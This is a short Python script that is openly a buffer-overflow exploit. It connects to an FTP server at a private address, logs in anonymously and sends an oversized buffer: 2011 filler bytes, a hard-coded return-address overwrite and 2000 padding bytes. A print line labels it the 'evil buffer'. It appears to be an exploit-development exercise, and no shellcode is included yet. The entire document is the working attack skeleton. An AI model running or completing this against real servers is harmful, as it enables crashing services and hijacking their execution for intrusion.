#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

push = "A"*2011
EIP = "\x65\x82\xA5\x7C"
junk="C"*2000

print "\nSending evil buffer..."
s.connect(('192.168.2.131',21))
data = s.recv(1024)
print data
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
print data
s.send('PASS anonymous@' + '\r\n')
data = s.recv(1024)
print data
s.send(push + EIP + junk)
data = s.recv(1024)
print data
s.close()
